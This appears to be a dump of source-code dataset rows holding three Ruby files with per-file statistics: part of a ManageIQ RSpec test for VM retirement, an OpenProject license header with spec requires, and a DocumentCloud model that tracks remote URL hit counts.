expect(@vm.retirement_due?).to be_falsey
end
# it "#retirement_warn" do
# expect(@vm.retirement_warn).to be_nil
# @vm.update_attributes(:retirement_last_warn => Time.zone.today)
# @vm.retirement_warn = 60
# expect(@vm.retirement_warn).to eq(60)
# expect(@vm.retirement_last_warn).to be_nil
# end
it "#retirement_due?" do
vm = FactoryGirl.create(:vm_vmware, :ems_id => @ems.id)
expect(vm.retirement_due?).to be_falsey
vm.update_attributes(:retires_on => Time.zone.today + 1.day)
expect(vm.retirement_due?).to be_falsey
vm.retires_on = Time.zone.today
vm.update_attributes(:retires_on => Time.zone.today)
expect(vm.retirement_due?).to be_truthy
vm.update_attributes(:retires_on => Time.zone.today - 1.day)
expect(vm.retirement_due?).to be_truthy
end
it "#raise_retirement_event" do
event_name = 'foo'
event_hash = {:vm => @vm, :host => @vm.host, :type => "ManageIQ::Providers::Vmware::InfraManager::Vm",
:retirement_initiator => "system"}
options = {:zone => @vm.my_zone}
expect(MiqEvent).to receive(:raise_evm_event).with(@vm, event_name, event_hash, options).once
@vm.raise_retirement_event(event_name)
end
it "#raise_audit_event" do
event_name = 'foo'
message = 'bar'
vm = FactoryGirl.create(:vm_vmware)
event_hash = {:target_class => "Vm", :target_id => vm.id.to_s, :event => event_name, :message => message}
expect(AuditEvent).to receive(:success).with(event_hash)
vm.raise_audit_event(event_name, message)
end
it "reset retirement state in future" do
@vm.update_attributes(:retirement_state => 'retiring')
@vm.retire(:date => Time.zone.today + 1.day)
expect(@vm.reload.retirement_state).to be_nil
end
it "reset retirement state in past" do
@vm.update_attributes(:retirement_state => 'retiring')
@vm.retire(:date => Time.zone.today - 1.day)
expect(@vm.reload.retirement_state).to eq('retiring')
end
end
| 29.938547 | 109 | 0.676992 |
21c7a2b0afa91a26a26140eacea0950a3d4a4712 | 1,345 | #-- copyright
# OpenProject is an open source project management software.
# Copyright (C) 2012-2020 the OpenProject GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2017 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See docs/COPYRIGHT.rdoc for more details.
#++
require 'spec_helper'
require File.join(File.dirname(__FILE__), 'plugin_spec_helper')
include OpenProject::GlobalRoles::PluginSpecHelper
| 40.757576 | 91 | 0.771004 |
d52364f37de6a556dcc62540dbf8c4deb3b880e1 | 5,102 | require 'cgi'
class RemoteUrl < ActiveRecord::Base
self.establish_connection( DC::ANALYTICS_DB ) unless Rails.env.testing?
belongs_to :document
belongs_to :note, :class_name=>'Annotation'
DOCUMENT_CLOUD_URL = /^https?:\/\/(www\.)?documentcloud.org/
scope :aggregated, -> {
select( 'sum(hits) AS hits, document_id, url' )
.group( 'document_id, url' )
}
scope :by_document, -> {
select( 'sum(hits) AS hits, document_id' )
.group( 'document_id' )
.having( 'document_id is not NULL' )
}
scope :by_search_query, -> {
select('sum(hits) AS hits, search_query, url')
.group( 'search_query, url' )
.having( 'search_query is not NULL' )
}
scope :by_note, -> {
select( 'sum(hits) AS hits, note_id, url' )
.group( 'note_id, url' )
.having( 'note_id is not NULL' )
}
def self.record_hits_on_document(doc_id, url, hits)
url = url.mb_chars[0...255].to_s
row = self.find_or_create_by(:document_id=>doc_id, :url=>url, :date_recorded=>Time.now.utc.to_date)
row.update_attributes :hits => row.hits + hits
# Increment the document's total hits.
doc = Document.find_by_id(doc_id)
doc.update_attributes(:hit_count => doc.hit_count + hits) if doc
end
def self.record_hits_on_page(doc_id, page_number, url, hits)
url = url.mb_chars[0...255].to_s
row = self.find_or_create_by(:document_id=>doc_id, :page_number=>page_number, :url=>url, :date_recorded=>Time.now.utc.to_date)
row.update_attributes :hits => row.hits + hits
# Increment the document's total hits.
doc = Document.find_by_id(doc_id)
doc.update_attributes(:hit_count => doc.hit_count + hits) if doc
end
def self.record_hits_on_search(query, url, hits)
url = url[0...255]
query = CGI::unescape(query)
row = self.find_or_create_by( :search_query=>query, :url=>url, :date_recorded=>Time.now.utc.to_date )
row.update_attributes :hits => row.hits + hits
end
def self.record_hits_on_note(note_id, url, hits)
url = url.mb_chars[0...255].to_s
row = self.find_or_create_by( :note_id=>note_id, :url=>url, :date_recorded=>Time.now.utc.to_date )
row.update_attributes :hits => row.hits + hits
end
# Using the recorded remote URL hits, correctly set detected remote urls
# for all listed document ids. This method is only ever run within a
# background job.
def self.populate_detected_document_ids(doc_ids)
urls = self.aggregated.where({:document_id => doc_ids})
top = urls.inject({}) do |memo, url|
if DOCUMENT_CLOUD_URL =~ url.url
memo
else
id = url.document_id
memo[id] = url if !memo[id] || memo[id].hits < url.hits
memo
end
end
Document.where(:id=>top.keys).find_in_batches do | documents |
documents.each do | doc |
doc.detected_remote_url = top[doc.id].url
doc.save if doc.changed?
end
end
end
def self.top_documents( days=7, limit=1000 )
hit_documents = self.top_query( days, limit ).by_document
docs = Document.find( hit_documents.map(&:document_id) ).inject({}) do |memo, doc|
memo[doc.id] = doc
memo
end
hit_documents.select {|url| !!docs[url.document_id] }.map do |url|
url_attrs = url.attributes
url_attrs[:url] = docs[url.document_id].published_url
url_attrs[:id] = "#{url.document_id}:#{url_attrs[:url]}"
first_hit = RemoteUrl.where( :document_id => url['document_id'] ).order('created_at ASC').first.created_at
url_attrs[:first_recorded_date] = first_hit.strftime "%a %b %d, %Y"
docs[url.document_id].admin_attributes.merge(url_attrs)
end
end
def self.top_searches( days=7, limit=1000 )
hit_searches = self.top_query( days, limit ).by_search_query
hit_searches.map do |query|
query_attrs = query.attributes
first_hit = RemoteUrl.where( :search_query => query.search_query ).order('created_at ASC').first.created_at
query_attrs[:first_recorded_date] = first_hit.strftime "%a %b %d, %Y"
query_attrs
end
end
def self.top_notes(days=7, limit=1000 )
hit_notes = self.top_query( days, limit ).by_note
notes = Annotation.find( hit_notes.map(&:note_id) ).inject({}) do |memo, note|
memo[note.id] = note.canonical.merge({:document_id => note.document_id})
memo
end
docs = Document.find( notes.map {|id, n| n[:document_id] } ).inject({}) do |memo, doc|
memo[doc.id] = doc
memo
end
hit_notes.select {|note| !!notes[note.note_id] }.map do |note|
note_attrs = note.attributes
note_attrs.delete :id
note_attrs[:document] = docs[notes[note.note_id][:document_id]]
first_hit = RemoteUrl.where( {:note_id => note.note_id} ).order('created_at ASC').first.created_at
note_attrs[:first_recorded_date] = first_hit.strftime "%a %b %d, %Y"
notes[note.note_id].merge(note_attrs)
end
end
private
def self.top_query( days, limit )
self
.where(['date_recorded > ?', days.days.ago] )
.having( 'sum(hits) > 0' )
.order( 'sum(hits) desc' )
.limit(limit)
end
end
| 34.945205 | 130 | 0.662485 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.